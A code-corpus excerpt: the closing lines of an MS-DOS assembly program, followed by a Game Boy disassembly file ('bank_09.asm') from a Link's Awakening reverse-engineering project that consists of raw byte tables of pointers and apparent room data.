mov ah, 4Ch ; exit to MS-DOS function
mov al, 0 ; exit code success
int 21h
main endp
code ends
end main
|
projects/Links_Awakening_gb_noconfig.windfish/disassembly/bank_09.asm | jverkoey/awaken | 68 | 166017 | SECTION "ROM Bank 09", ROMX[$4000], BANK[$09]
db $00, $42, $64, $42, $B5, $42, $16, $43
db $8B, $43, $D8, $43, $1F, $44, $0F, $45
db $6C, $45, $B8, $45, $10, $46, $61, $46
db $AB, $46, $24, $47, $8F, $47, $54, $48
db $A0, $48, $EF, $48, $46, $49, $68, $49
db $9F, $49, $DB, $49, $1E, $4A, $69, $4A
db $D6, $4A, $27, $4B, $6C, $4B, $B7, $4B
db $74, $4C, $C2, $4C, $1B, $4D, $84, $4D
db $EC, $4D, $23, $4E, $62, $4E, $97, $4E
db $C0, $4E, $0F, $4F, $41, $4F, $73, $4F
db $AD, $4F, $E9, $4F, $23, $50, $60, $50
db $0B, $51, $47, $51, $84, $51, $BA, $51
db $F6, $51, $32, $52, $6B, $52, $CE, $52
db $F5, $52, $50, $53, $94, $53, $CE, $53
db $F6, $53, $4C, $54, $7C, $54, $B8, $54
db $15, $55, $6C, $55, $A9, $55, $DC, $55
db $1F, $56, $6A, $56, $BC, $56, $2C, $57
db $70, $57, $B7, $57, $FD, $57, $3B, $58
db $74, $58, $C3, $58, $E4, $58, $22, $59
db $48, $59, $96, $59, $E7, $59, $0C, $5A
db $3D, $5A, $8D, $5A, $E0, $5A, $33, $5B
db $80, $5B, $BC, $5B, $F3, $5B, $2F, $5C
db $71, $5C, $A7, $5C, $E5, $5C, $0F, $5D
db $43, $5D, $89, $5D, $D1, $5D, $20, $5E
db $62, $5E, $A5, $5E, $F1, $5E, $8D, $5A
db $4A, $5F, $86, $5F, $C4, $5F, $0D, $60
db $58, $60, $7F, $60, $C9, $60, $FD, $60
db $36, $61, $85, $61, $C5, $61, $06, $62
db $41, $62, $87, $62, $C0, $62, $0A, $63
db $5D, $63, $94, $63, $DB, $63, $30, $64
db $7F, $64, $B1, $64, $43, $65, $64, $65
db $A8, $65, $CC, $65, $F5, $65, $1E, $66
db $00, $40, $39, $40, $82, $40, $BC, $40
db $F7, $40, $2F, $41, $83, $41, $E2, $41
db $30, $42, $5D, $42, $93, $42, $C0, $42
db $FD, $42, $C1, $43, $02, $44, $42, $44
db $9B, $44, $C4, $44, $E3, $44, $1E, $45
db $51, $45, $8D, $45, $D9, $45, $03, $46
db $3D, $46, $80, $46, $BD, $46, $E6, $46
db $32, $47, $74, $47, $AF, $47, $E7, $47
db $22, $48, $6E, $48, $B3, $48, $E6, $48
db $FE, $48, $41, $49, $7B, $49, $B8, $49
db $EC, $49, $21, $4A, $4E, $4A, $6D, $4A
db $B6, $4A, $03, $4B, $25, $4B, $53, $4B
db $A2, $4B, $D0, $4B, $FB, $4B, $2C, $4C
db $69, $4C, $9F, $4C, $00, $4D, $4A, $4D
db $8B, $4D, $D5, $4D, $08, $4E, $4D, $4E
db $8D, $4E, $CD, $4E, $EE, $4E, $16, $4F
db $52, $4F, $A7, $4F, $CC, $4F, $E7, $4F
db $0E, $50, $6D, $50, $DC, $50, $2A, $51
db $5B, $51, $BC, $51, $E6, $51, $F4, $51
db $31, $52, $6F, $52, $A6, $52, $F8, $52
db $35, $53, $6D, $53, $A6, $53, $C3, $53
db $04, $54, $73, $54, $CE, $54, $11, $55
db $55, $55, $88, $55, $AF, $55, $F0, $55
db $31, $56, $65, $56, $B2, $56, $F9, $56
db $2B, $57, $4E, $57, $85, $57, $AE, $57
db $DA, $57, $04, $58, $3C, $58, $78, $58
db $A8, $58, $E4, $58, $3D, $59, $96, $59
db $BE, $59, $06, $5A, $5B, $5A, $93, $5A
db $AF, $5A, $EC, $5A, $1D, $5B, $5E, $5B
db $81, $5B, $AB, $5B, $DF, $5B, $32, $5C
db $61, $5C, $BB, $5C, $00, $5D, $4F, $5D
db $7F, $5D, $C8, $5D, $02, $5E, $30, $5E
db $0B, $E5, $8A, $00, $00, $8A, $10, $00
db $8A, $20, $EF, $10, $7C, $11, $7D, $19
db $7C, $13, $80, $84, $14, $4D, $17, $81
db $23, $37, $83, $24, $0A, $27, $38, $32
db $1D, $33, $2E, $34, $48, $36, $49, $37
db $4E, $38, $5D, $41, $1D, $42, $37, $43
db $39, $44, $E1, $E1, $07, $3A, $58, $10
db $82, $45, $3A, $C2, $35, $E0, $47, $3B
db $48, $38, $50, $1D, $C3, $51, $37, $C2
db $52, $37, $85, $53, $09, $82, $58, $7A
db $C2, $60, $37, $85, $63, $09, $68, $38
db $72, $2E, $85, $73, $2F, $78, $4E, $69
db $50, $79, $09, $FE, $0B, $E5, $8A, $00
db $00, $8A, $10, $00, $8A, $20, $EF, $00
db $7C, $01, $7D, $03, $7C, $04, $7D, $10
db $1C, $82, $10, $1C, $12, $7E, $82, $13
db $1C, $15, $7E, $16, $7D, $35, $1D, $36
db $50, $37, $5D, $43, $1D, $86, $44, $50
db $45, $37, $46, $E8, $47, $38, $84, $50
db $7A, $54, $0A, $55, $33, $56, $E0, $57
db $34, $82, $58, $03, $83, $60, $50, $63
db $37, $86, $64, $0A, $83, $70, $09, $73
db $2E, $86, $74, $2F, $FE, $0B, $E5, $8A
db $00, $00, $8A, $10, $00, $8A, $20, $EF
db $06, $7C, $07, $7D, $15, $7C, $82, $16
db $1C, $18, $7E, $19, $7D, $12, $80, $13
db $4D, $14, $81, $22, $37, $23, $03, $24
db $38, $31, $1D, $32, $2E, $33, $2F, $34
db $4E, $35, $5D, $39, $1D, $40, $50, $41
db $4B, $42, $39, $43, $E1, $E1, $07, $3D
db $58, $10, $44, $3B, $C3, $45, $38, $49
db $37, $85, $50, $03, $83, $56, $50, $59
db $4B, $85, $60, $03, $85, $70, $2F, $75
db $4E, $84, $66, $03, $84, $76, $03, $79
db $3D, $42, $CD, $44, $D7, $FE, $0B, $03
db $00, $80, $82, $01, $4D, $03, $81, $04
db $00, $05, $80, $82, $06, $4D, $08, $81
db $09, $00, $C3, $10, $37, $87, $11, $03
db $87, $21, $03, $87, $31, $03, $13, $4C
db $14, $4D, $15, $4B, $C3, $18, $38, $40
db $2E, $82, $41, $2F, $43, $4E, $33, $3D
db $34, $2F, $35, $3C, $44, $3A, $45, $2E
db $82, $46, $2F, $48, $4E, $50, $39, $82
db $51, $3A, $53, $3B, $55, $39, $82, $56
db $3A, $58, $3B, $39, $5D, $C4, $49, $38
db $69, $7A, $78, $09, $19, $00, $29, $EF
db $66, $C8, $8A, $70, $2F, $72, $48, $73
db $4A, $74, $49, $76, $48, $77, $4A, $78
db $49, $79, $4E, $44, $E1, $E1, $1F, $EE
db $18, $40, $FE, $0B, $E5, $8A, $00, $00
db $8A, $10, $00, $8A, $20, $EF, $06, $7C
db $07, $7D, $10, $7C, $11, $7D, $13, $7C
db $14, $7D, $15, $7C, $82, $16, $1C, $18
db $7E, $19, $7D, $32, $1D, $87, $33, $50
db $C2, $42, $37, $87, $43, $03, $87, $53
db $03, $87, $63, $03, $45, $A0, $70, $1D
db $71, $50, $72, $2E, $87, $73, $2F, $76
db $48, $77, $4A, $78, $49, $83, $60, $7A
db $66, $20, $E1, $1F, $E2, $88, $50, $FE
db $0B, $03, $8A, $00, $00, $8A, $10, $00
db $8A, $20, $EF, $13, $7C, $04, $7C, $05
db $7D, $16, $7E, $17, $7D, $82, $14, $1C
db $87, $30, $50, $37, $5D, $82, $38, $E5
db $41, $09, $C3, $47, $38, $C4, $48, $E5
db $C4, $49, $E5, $63, $09, $87, $70, $2F
db $73, $48, $74, $E0, $75, $49, $77, $4E
db $78, $50, $79, $5D, $43, $20, $46, $20
db $51, $20, $54, $20, $65, $20, $FE, $0B
db $E5, $35, $E1, $8A, $00, $00, $8A, $10
db $00, $8A, $20, $EF, $04, $05, $05, $06
db $06, $07, $14, $63, $15, $64, $16, $65
db $24, $71, $25, $1C, $26, $7F, $34, $A9
db $35, $AA, $36, $BF, $10, $7C, $11, $7D
db $18, $7C, $19, $7D, $13, $80, $17, $81
db $C2, $23, $37, $C2, $27, $38, $32, $1D
db $38, $5D, $C2, $42, $37, $C2, $48, $38
db $43, $2E, $44, $48, $46, $49, $47, $4E
db $C2, $48, $38, $53, $3E, $83, $54, $3A
db $57, $3F, $61, $1D, $62, $2E, $63, $2F
db $64, $48, $66, $49, $67, $2F, $68, $4E
db $69, $5D, $71, $37, $72, $3E, $85, $73
db $3A, $78, $3B, $79, $38, $C4, $45, $E0
db $E1, $08, $70, $50, $7C, $FE, $0B, $E5
db $8A, $00, $00, $8A, $10, $00, $8A, $20
db $EF, $04, $05, $05, $06, $06, $07, $14
db $63, $15, $64, $16, $65, $24, $71, $25
db $1C, $26, $7F, $34, $A9, $35, $AA, $36
db $BF, $10, $7C, $11, $7D, $18, $7C, $19
db $7D, $13, $80, $17, $81, $C2, $23, $37
db $C2, $27, $38, $32, $1D, $38, $5D, $C2
db $42, $37, $C2, $48, $38, $43, $2E, $44
db $48, $46, $49, $47, $4E, $C2, $48, $38
db $53, $3E, $83, $54, $3A, $57, $3F, $61
db $1D, $62, $2E, $63, $2F, $64, $48, $66
db $49, $67, $2F, $68, $4E, $69, $5D, $71
db $37, $72, $3E, $85, $73, $3A, $78, $3B
db $79, $38, $C4, $45, $E0, $25, $C1, $35
db $CB, $E1, $08, $70, $50, $7C, $FE, $0B
db $E5, $8A, $00, $00, $8A, $10, $00, $85
db $20, $EF, $10, $7C, $11, $7D, $13, $80
db $85, $14, $4D, $19, $81, $23, $37, $85
db $24, $03, $25, $09, $29, $38, $32, $1D
db $33, $4B, $85, $34, $03, $39, $7A, $C3
db $42, $37, $43, $D3, $E1, $0A, $EE, $78
db $30, $C3, $44, $03, $45, $3D, $46, $48
db $47, $4A, $48, $49, $49, $4E, $53, $03
db $C2, $55, $38, $83, $56, $3A, $59, $3B
db $63, $09, $84, $66, $03, $72, $2E, $82
db $73, $2F, $75, $4E, $76, $E0, $77, $3C
db $82, $78, $03, $FE, $0B, $E5, $8A, $00
db $00, $8A, $10, $00, $8A, $20, $EF, $12
db $7C, $13, $7D, $18, $7C, $19, $7D, $20
db $C8, $82, $21, $7A, $24, $7A, $82, $28
db $7A, $83, $30, $7A, $86, $33, $7B, $34
db $7A, $82, $38, $7A, $29, $C8, $82, $50
db $50, $52, $5D, $82, $60, $03, $C2, $62
db $38, $82, $70, $03, $71, $09, $54, $1D
db $85, $55, $50, $64, $37, $85, $65, $03
db $73, $1D, $74, $2E, $85, $75, $2F, $FE
db $0B, $03, $8A, $00, $00, $8A, $10, $00
db $8A, $20, $EF, $83, $20, $78, $83, $30
db $79, $84, $33, $7B, $84, $40, $E5, $44
db $1D, $85, $45, $50, $84, $50, $50, $54
db $4B, $84, $70, $2F, $73, $3C, $66, $09
db $02, $7C, $03, $7D, $11, $7C, $82, $12
db $1C, $14, $7E, $15, $7D, $18, $80, $19
db $4D, $82, $27, $78, $82, $37, $79, $C2
db $29, $03, $48, $2E, $49, $2F, $58, $3E
db $C2, $59, $3A, $68, $39, $70, $48, $71
db $4A, $72, $49, $20, $C8, $38, $C8, $FE
db $0B, $03, $8A, $00, $4D, $8A, $40, $2F
db $43, $48, $44, $4A, $45, $49, $46, $3C
db $47, $03, $48, $3D, $8A, $50, $3A, $82
db $60, $3A, $8A, $70, $03, $C2, $62, $37
db $56, $2E, $57, $2F, $58, $4E, $61, $E1
db $E1, $0A, $8B, $50, $7C, $66, $39, $67
db $E1, $E1, $0A, $7E, $60, $7C, $68, $3B
db $03, $FD, $E1, $10, $9F, $50, $7C, $12
db $09, $16, $09, $23, $09, $38, $09, $C2
db $44, $E0, $62, $DE, $00, $80, $10, $4B
db $FE, $0B, $03, $83, $00, $4D, $03, $81
db $13, $4C, $14, $4D, $15, $81, $85, $40
db $2F, $45, $4E, $85, $35, $7A, $37, $7B
db $85, $50, $3A, $87, $70, $03, $55, $3F
db $46, $50, $47, $5D, $82, $48, $E5, $82
db $74, $09, $66, $09, $83, $57, $78, $83
db $67, $79, $86, $04, $00, $84, $16, $00
db $16, $7C, $17, $7D, $84, $26, $EF, $77
db $38, $82, $78, $E5, $56, $03, $25, $38
db $55, $3B, $FE, $0B, $E5, $8A, $00, $00
db $10, $00, $11, $7C, $12, $7D, $13, $00
db $14, $7C, $15, $7D, $16, $80, $82, $17
db $4D, $19, $81, $20, $EF, $82, $21, $78
db $84, $23, $7A, $82, $27, $20, $C2, $29
db $38, $30, $7A, $82, $31, $79, $35, $1D
db $36, $4B, $37, $03, $38, $03, $41, $1D
db $82, $42, $50, $44, $5D, $C2, $45, $37
db $82, $46, $03, $48, $3D, $49, $4E, $82
db $50, $78, $82, $52, $03, $C2, $54, $38
db $82, $56, $03, $82, $48, $7A, $58, $38
db $59, $3F, $82, $60, $79, $82, $62, $03
db $65, $2E, $82, $66, $2F, $68, $4E, $69
db $3F, $71, $2E, $82, $72, $2F, $74, $4E
db $75, $3E, $76, $E1, $77, $3A, $82, $78
db $3F, $73, $E0, $FE, $0B, $E5, $8A, $00
db $00, $8A, $10, $00, $16, $7C, $82, $17
db $1C, $19, $7D, $07, $7C, $08, $7D, $8A
db $20, $EF, $10, $80, $83, $11, $4D, $14
db $81, $82, $36, $50, $38, $5D, $30, $3E
db $83, $31, $3A, $34, $3F, $20, $2E, $83
db $21, $2F, $24, $4E, $35, $1D, $82, $46
db $03, $C2, $48, $38, $86, $40, $7A, $82
db $56, $03, $50, $3E, $83, $51, $3A, $54
db $3F, $55, $37, $60, $3E, $83, $61, $3A
db $64, $3F, $65, $2E, $82, $66, $2F, $68
db $4E, $70, $37, $83, $71, $03, $74, $38
db $75, $3E, $82, $76, $3A, $78, $3F, $61
db $E1, $E1, $0A, $F2, $50, $7C, $FE, $0B
db $03, $25, $E1, $8A, $00, $00, $8A, $10
db $00, $10, $7C, $11, $7E, $12, $7D, $18
db $7C, $19, $7D, $8A, $20, $EF, $30, $1D
db $89, $31, $50, $C2, $40, $37, $60, $2E
db $61, $3C, $70, $3E, $71, $2E, $82, $72
db $2F, $74, $48, $75, $4A, $76, $49, $77
db $48, $78, $4A, $79, $49, $41, $54, $42
db $20, $51, $20, $56, $09, $59, $09, $63
db $09, $C4, $03, $72, $43, $B6, $C5, $04
db $74, $C5, $05, $74, $C5, $06, $74, $C4
db $07, $73, $47, $B7, $14, $75, $15, $D6
db $16, $76, $E1, $06, $0E, $50, $7C, $FE
db $0B, $03, $8A, $00, $00, $8A, $10, $00
db $10, $7C, $11, $7E, $12, $7D, $18, $7C
db $19, $7D, $8A, $20, $EF, $30, $1D, $89
db $31, $50, $C2, $40, $37, $60, $2E, $61
db $3C, $70, $3E, $71, $2E, $82, $72, $2F
db $74, $48, $75, $4A, $76, $49, $77, $48
db $78, $4A, $79, $49, $41, $54, $42, $20
db $51, $20, $56, $09, $59, $09, $63, $09
db $C4, $03, $72, $43, $B6, $C5, $04, $74
db $C5, $05, $74, $C5, $06, $74, $C4, $07
db $73, $47, $B7, $14, $75, $15, $D6, $16
db $76, $C2, $35, $77, $25, $E1, $E1, $06
db $0E, $50, $7C, $FE, $0B, $E5, $8A, $00
db $00, $8A, $10, $00, $06, $7C, $07, $7D
db $10, $7C, $11, $7D, $15, $7E, $82, $16
db $1C, $14, $7C, $18, $7D, $8A, $20, $EF
db $88, $30, $50, $38, $5D, $88, $40, $03
db $C2, $48, $38, $41, $09, $47, $09, $33
db $FD, $E1, $0A, $8E, $70, $7C, $43, $B6
db $45, $B7, $88, $50, $03, $86, $60, $03
db $66, $3D, $67, $2F, $68, $4E, $86, $70
db $2F, $76, $4E, $77, $3A, $78, $3F, $FE
db $0B, $09, $C7, $00, $37, $70, $2E, $85
db $71, $2F, $76, $3C, $C7, $01, $37, $61
db $33, $88, $62, $2F, $02, $39, $85, $03
db $3A, $05, $E1, $E1, $07, $5D, $50, $7C
db $08, $3B, $03, $B6, $07, $B6, $13, $B7
db $17, $B7, $22, $C8, $28, $C8, $83, $77
db $0A, $09, $C8, $83, $77, $04, $82, $77
db $F5, $49, $3D, $59, $38, $69, $34, $83
db $32, $03, $43, $03, $52, $03, $83, $36
db $03, $47, $03, $83, $56, $03, $FE, $0B
db $03, $03, $39, $86, $04, $3A, $C4, $10
db $09, $15, $F5, $16, $F5, $16, $45, $C2
db $21, $09, $C2, $23, $09, $26, $E1, $E1
db $10, $99, $50, $7C, $82, $40, $2F, $42
db $3C, $46, $3D, $83, $47, $2F, $C2, $50
db $C8, $51, $0A, $52, $2E, $53, $48, $54
db $4A, $55, $49, $56, $4E, $83, $57, $3A
db $62, $39, $84, $63, $3A, $66, $3B, $7F
db $F5, $84, $71, $0A, $72, $09, $75, $3D
db $76, $48, $77, $4A, $78, $49, $79, $3C
db $51, $6F, $83, $00, $C8, $FE, $0B, $03
db $85, $00, $3A, $05, $3B, $8A, $40, $2F
db $8A, $50, $3A, $8A, $70, $2F, $14, $09
db $31, $09, $70, $3D, $C4, $09, $38, $48
db $2F, $49, $4E, $58, $3A, $59, $3B, $FE
db $0B, $03, $8A, $00, $3A, $09, $3B, $12
db $09, $68, $09, $8A, $70, $2F, $10, $C8
db $C2, $12, $C8, $C3, $16, $C8, $18, $C8
db $24, $C8, $C2, $29, $C8, $31, $C8, $C2
db $40, $C8, $43, $C8, $45, $C8, $48, $C8
db $C2, $59, $C8, $64, $C8, $67, $C8, $05
db $BA, $E1, $1F, $FE, $70, $7C, $FE, $0B
db $03, $C2, $00, $37, $02, $3E, $87, $03
db $3A, $12, $39, $87, $13, $3A, $20, $2E
db $21, $3C, $30, $39, $31, $2E, $88, $32
db $2F, $33, $48, $35, $49, $40, $09, $41
db $39, $88, $42, $3A, $C2, $34, $E0, $50
db $C8, $61, $C8, $65, $09, $66, $3D, $83
db $67, $2F, $87, $70, $2F, $76, $4E, $83
db $77, $3A, $FE, $0B, $03, $87, $00, $3A
db $07, $3F, $C2, $09, $38, $87, $10, $3A
db $17, $3B, $18, $09, $C2, $04, $E0, $21
db $09, $26, $3D, $82, $27, $2F, $29, $4E
db $86, $30, $2F, $36, $4E, $82, $37, $3A
db $39, $3B, $86, $40, $3A, $46, $3B, $38
db $E1, $E1, $0A, $EA, $50, $7C, $C2, $49
db $C8, $58, $09, $8A, $60, $2F, $8A, $70
db $3A, $69, $3C, $79, $2E, $FE, $0B, $03
db $00, $1D, $01, $2E, $82, $02, $2F, $04
db $48, $06, $49, $82, $07, $2F, $09, $4E
db $C2, $10, $37, $C2, $11, $3E, $87, $12
db $3A, $87, $22, $3A, $C2, $19, $3F, $30
db $2E, $83, $31, $2F, $34, $48, $36, $49
db $83, $37, $2F, $40, $39, $89, $41, $3A
db $C5, $05, $E0, $C2, $50, $C8, $54, $D4
db $57, $09, $C2, $59, $C8, $61, $09, $8A
db $70, $2F, $74, $48, $75, $E0, $76, $49
db $FE, $0B, $03, $00, $5D, $01, $1D, $C2
db $02, $3E, $C2, $03, $3A, $C3, $04, $3A
db $C2, $05, $3F, $C2, $06, $E0, $C2, $07
db $37, $09, $09, $C2, $10, $38, $C4, $11
db $37, $22, $39, $25, $3B, $35, $09, $27
db $2E, $82, $28, $2F, $30, $4E, $32, $20
db $34, $20, $43, $20, $37, $39, $38, $3A
db $C2, $39, $38, $39, $3A, $40, $3B, $51
db $33, $82, $52, $2F, $54, $48, $56, $49
db $82, $57, $2F, $59, $4E, $86, $63, $3A
db $86, $73, $3A, $C2, $69, $3F, $C3, $55
db $E0, $42, $09, $23, $E1, $E1, $0A, $B6
db $50, $7C, $62, $38, $82, $70, $2F, $72
db $4E, $49, $DD, $62, $DD, $FE, $0B, $03
db $C2, $02, $38, $82, $20, $2F, $22, $4E
db $C4, $30, $3A, $C4, $31, $3A, $C4, $03
db $37, $43, $33, $86, $44, $2F, $04, $39
db $85, $05, $3A, $14, $A0, $C3, $17, $C8
db $18, $09, $26, $09, $32, $37, $C2, $42
db $37, $62, $2E, $85, $63, $2F, $85, $73
db $3A, $87, $53, $1B, $68, $3C, $78, $2E
db $79, $2F, $69, $1B, $72, $3E, $06, $E1
db $E1, $0A, $BB, $50, $7C, $08, $E1, $E1
db $0A, $BC, $30, $7C, $70, $F5, $FE, $0B
db $03, $83, $00, $3A, $C3, $03, $37, $08
db $09, $22, $09, $25, $09, $27, $3D, $82
db $28, $2F, $33, $2E, $83, $34, $2F, $37
db $4E, $38, $E1, $E1, $0A, $89, $40, $7C
db $39, $3A, $40, $2F, $41, $48, $42, $E0
db $43, $39, $83, $44, $3A, $47, $3B, $82
db $48, $1B, $8A, $50, $1B, $60, $1B, $61
db $3D, $88, $62, $2F, $70, $2F, $71, $4E
db $88, $72, $3A, $FE, $0B, $1B, $8A, $00
db $03, $8A, $10, $03, $C2, $02, $37, $14
db $3D, $83, $15, $2F, $18, $3C, $82, $20
db $2F, $22, $2E, $23, $2F, $24, $4E, $83
db $25, $E1, $28, $2E, $29, $2F, $82, $30
db $3A, $32, $3E, $C2, $33, $3A, $34, $3F
db $83, $35, $E9, $38, $3E, $C2, $39, $3A
db $42, $39, $44, $3B, $83, $45, $E9, $48
db $39, $83, $60, $2F, $63, $3C, $83, $70
db $3A, $73, $2E, $86, $74, $2F, $FE, $0B
db $1B, $87, $00, $03, $87, $10, $03, $20
db $2F, $21, $4E, $11, $3D, $12, $2F, $13
db $3C, $23, $2E, $83, $24, $2F, $27, $4E
db $C2, $07, $38, $82, $08, $50, $22, $E1
db $C2, $30, $3A, $31, $3F, $C2, $32, $E9
db $33, $3E, $83, $34, $3A, $36, $E1, $37
db $3F, $41, $3B, $43, $39, $83, $44, $3A
db $46, $E9, $47, $3B, $87, $51, $0E, $68
db $0E, $8A, $70, $2F, $61, $3D, $62, $48
db $83, $63, $E9, $66, $49, $67, $3C, $71
db $4E, $72, $3A, $83, $73, $E9, $76, $3A
db $77, $2E, $FE, $0B, $03, $82, $18, $1B
db $29, $1B, $59, $1B, $C2, $50, $1B, $87
db $00, $03, $87, $10, $03, $20, $2F, $21
db $4E, $11, $3D, $12, $2F, $13, $3C, $23
db $2E, $83, $24, $2F, $27, $4E, $C2, $07
db $38, $82, $08, $50, $22, $E1, $C2, $30
db $3A, $31, $3F, $32, $3A, $33, $3E, $83
db $34, $3A, $36, $E1, $37, $3F, $41, $3B
db $43, $39, $83, $44, $3A, $47, $3B, $8A
db $70, $2F, $61, $3D, $62, $48, $66, $49
db $67, $3C, $71, $4E, $83, $63, $4A, $85
db $72, $3A, $77, $2E, $52, $09, $82, $55
db $09, $68, $09, $FE, $0B, $0E, $00, $50
db $C4, $01, $3E, $C5, $02, $3A, $03, $E1
db $C4, $04, $3F, $C3, $05, $3E, $C4, $06
db $E9, $C4, $07, $3A, $C3, $08, $3F, $C2
db $09, $3F, $C4, $13, $E9, $41, $39, $44
db $3B, $35, $39, $38, $3B, $8A, $60, $2F
db $8A, $70, $3A, $29, $3B, $61, $3D, $70
db $2F, $71, $4E, $C6, $10, $1B, $51, $1B
db $48, $1B, $C3, $39, $1B, $C2, $63, $E9
db $C2, $65, $E9, $C2, $67, $E9, $C5, $03
db $E0, $FE, $0B, $03, $00, $37, $83, $01
db $03, $04, $32, $05, $2C, $06, $2D, $C4
db $07, $3A, $C4, $08, $3F, $C2, $09, $E5
db $10, $2E, $11, $2F, $12, $3C, $15, $A0
db $C2, $16, $38, $20, $39, $21, $E1, $E1
db $0A, $F9, $20, $7C, $22, $37, $29, $50
db $C3, $30, $1B, $C3, $31, $1B, $32, $2E
db $83, $33, $2F, $36, $4E, $42, $3E, $83
db $43, $3A, $83, $53, $3A, $46, $3F, $47
db $E1, $E1, $0A, $FA, $70, $7C, $48, $3B
db $52, $39, $56, $3B, $8A, $60, $2F, $8A
db $70, $3A, $FE, $0B, $03, $C2, $00, $3E
db $20, $39, $C3, $01, $3E, $31, $39, $88
db $02, $3A, $12, $37, $22, $2E, $32, $3E
db $42, $39, $03, $E1, $E1, $0A, $80, $20
db $7C, $13, $03, $C3, $23, $E0, $14, $38
db $24, $4E, $34, $3F, $44, $3B, $16, $37
db $26, $2E, $36, $3E, $46, $39, $83, $27
db $2F, $83, $17, $03, $07, $E1, $E1, $0A
db $83, $80, $7C, $37, $37, $47, $2E, $57
db $39, $82, $48, $2F, $82, $58, $3A, $39
db $03, $8A, $60, $2F, $8A, $70, $3A, $C3
db $15, $3A, $45, $E1, $E1, $1F, $F2, $48
db $40, $45, $E8, $16, $DE, $37, $DE, $12
db $DE, $14, $DD, $FE, $0B, $03, $C8, $09
db $E5, $86, $00, $3A, $02, $E1, $E1, $0A
db $82, $70, $7C, $C3, $06, $3F, $07, $E1
db $E1, $0A, $8C, $60, $7C, $08, $3F, $84
db $10, $03, $11, $09, $14, $38, $C2, $15
db $3A, $C5, $18, $38, $84, $20, $2F, $20
db $48, $21, $E0, $22, $49, $24, $4E, $82
db $30, $03, $32, $38, $C2, $33, $3A, $34
db $3F, $35, $E1, $E1, $0A, $87, $60, $7C
db $36, $3B, $82, $40, $2F, $42, $4E, $43
db $BA, $E1, $1F, $FB, $50, $7C, $44, $3B
db $82, $50, $3A, $52, $3B, $88, $60, $2F
db $68, $4E, $88, $70, $3A, $78, $3F, $14
db $DD, $32, $DD, $FE, $03, $04, $C3, $00
db $37, $86, $01, $3A, $06, $37, $82, $F7
db $F5, $86, $11, $3A, $16, $2E, $83, $17
db $2F, $26, $39, $83, $27, $3A, $28, $E1
db $E1, $11, $AE, $50, $7C, $30, $2E, $31
db $3C, $40, $39, $C4, $41, $37, $49, $2B
db $C3, $50, $0E, $54, $20, $57, $20, $C3
db $59, $37, $FE, $03, $04, $FF, $F5, $86
db $01, $0A, $05, $38, $83, $06, $3A, $83
db $16, $3A, $C8, $09, $37, $85, $10, $2F
db $12, $48, $14, $49, $15, $4E, $86, $20
db $3A, $21, $E1, $E1, $11, $AF, $50, $7C
db $25, $3B, $82, $34, $5C, $40, $2D, $C4
db $48, $0A, $C3, $50, $38, $52, $5C, $56
db $0A, $57, $5C, $83, $65, $0A, $C2, $13
db $E0, $FE, $03, $1B, $8A, $00, $3A, $8A
db $10, $3A, $C6, $21, $04, $83, $20, $04
db $C5, $30, $04, $23, $11, $32, $13, $33
db $17, $C4, $42, $11, $C3, $24, $30, $C2
db $43, $30, $26, $30, $C3, $25, $51, $29
db $51, $82, $57, $51, $49, $51, $75, $51
db $82, $78, $51, $C8, $00, $38, $FE, $03
db $1B, $8A, $00, $3A, $8A, $10, $3A, $20
db $51, $82, $21, $30, $27, $51, $31, $30
db $34, $51, $39, $51, $83, $40, $51, $82
db $48, $51, $53, $51, $C3, $59, $51, $66
db $51, $70, $51, $74, $51, $76, $51, $FE
db $03, $1B, $8A, $00, $3A, $86, $10, $3A
db $06, $3F, $16, $3B, $13, $E1, $25, $12
db $35, $18, $36, $14, $C4, $46, $12, $C7
db $17, $04, $C7, $18, $04, $C7, $19, $04
db $C3, $37, $F5, $29, $F5, $79, $F5, $C5
db $30, $51, $82, $71, $51, $75, $51, $82
db $57, $04, $82, $67, $04, $82, $26, $20
db $C2, $57, $20, $02, $B6, $03, $D7, $04
db $B6, $11, $B6, $12, $B7, $14, $B7, $15
db $B6, $E1, $01, $36, $50, $7C, $FE, $03
db $04, $8A, $00, $3A, $82, $2F, $F5, $C2
db $23, $20, $35, $20, $24, $36, $25, $2F
db $26, $3C, $36, $37, $46, $2E, $47, $48
db $48, $4A, $49, $49, $56, $39, $83, $57
db $3A, $7F, $F5, $51, $36, $C2, $62, $37
db $52, $3C, $34, $D4, $09, $3E, $19, $39
db $FE, $03, $04, $82, $40, $2F, $82, $50
db $3A, $87, $33, $2F, $87, $43, $3A, $32
db $3D, $42, $4E, $52, $3B, $34, $48, $35
db $4A, $36, $49, $02, $09, $17, $09, $75
db $3D, $66, $3D, $67, $35, $76, $4E, $27
db $09, $8A, $00, $3A, $8A, $10, $3A, $C2
db $05, $E0, $FE, $0B, $04, $86, $30, $2F
db $32, $48, $33, $4A, $34, $49, $86, $40
db $3A, $C4, $46, $37, $82, $52, $0A, $54
db $5C, $55, $5C, $65, $5C, $17, $09, $24
db $09, $38, $09, $77, $09, $01, $39, $89
db $00, $3A, $09, $3B, $05, $E0, $02, $3F
db $82, $10, $3A, $12, $3B, $36, $3C, $29
db $2B, $C5, $39, $37, $FE, $0B, $04, $86
db $03, $3A, $02, $39, $84, $15, $3A, $84
db $25, $0E, $85, $35, $0E, $C3, $14, $38
db $44, $32, $85, $45, $2C, $64, $3D, $83
db $65, $2F, $68, $3C, $74, $38, $83, $75
db $3A, $78, $2E, $79, $2F, $C3, $09, $3A
db $C2, $08, $3E, $28, $39, $55, $20, $F0
db $F5, $20, $2D, $C5, $30, $38, $14, $DD
db $FE, $0B, $04, $C3, $00, $3A, $C2, $01
db $3F, $21, $3B, $88, $02, $3A, $88, $12
db $3A, $88, $22, $0E, $8A, $30, $0E, $43
db $0E, $82, $40, $2C, $42, $2D, $C2, $52
db $38, $70, $48, $71, $E0, $72, $4E, $53
db $2C, $54, $31, $44, $2B, $85, $45, $2C
db $73, $0A, $74, $2B, $75, $2C, $76, $2D
db $79, $2B, $FE, $0B, $0E, $8A, $00, $3A
db $8A, $10, $3A, $86, $24, $3A, $C2, $03
db $3E, $23, $39, $40, $2C, $41, $2D, $51
db $32, $88, $52, $2C, $50, $04, $8A, $60
db $04, $8A, $70, $04, $14, $B6, $15, $B7
db $17, $B6, $18, $B7, $26, $E1, $E2, $0A
db $FD, $0B, $30, $70, $2C, $71, $2D, $74
db $2B, $75, $2C, $76, $2D, $79, $2B, $FE
db $0B, $0E, $14, $E1, $E1, $03, $7A, $50
db $7C, $26, $C6, $E1, $1F, $E9, $28, $20
db $8A, $00, $3A, $8A, $10, $3A, $8A, $20
db $3A, $C2, $01, $3F, $C2, $07, $3E, $21
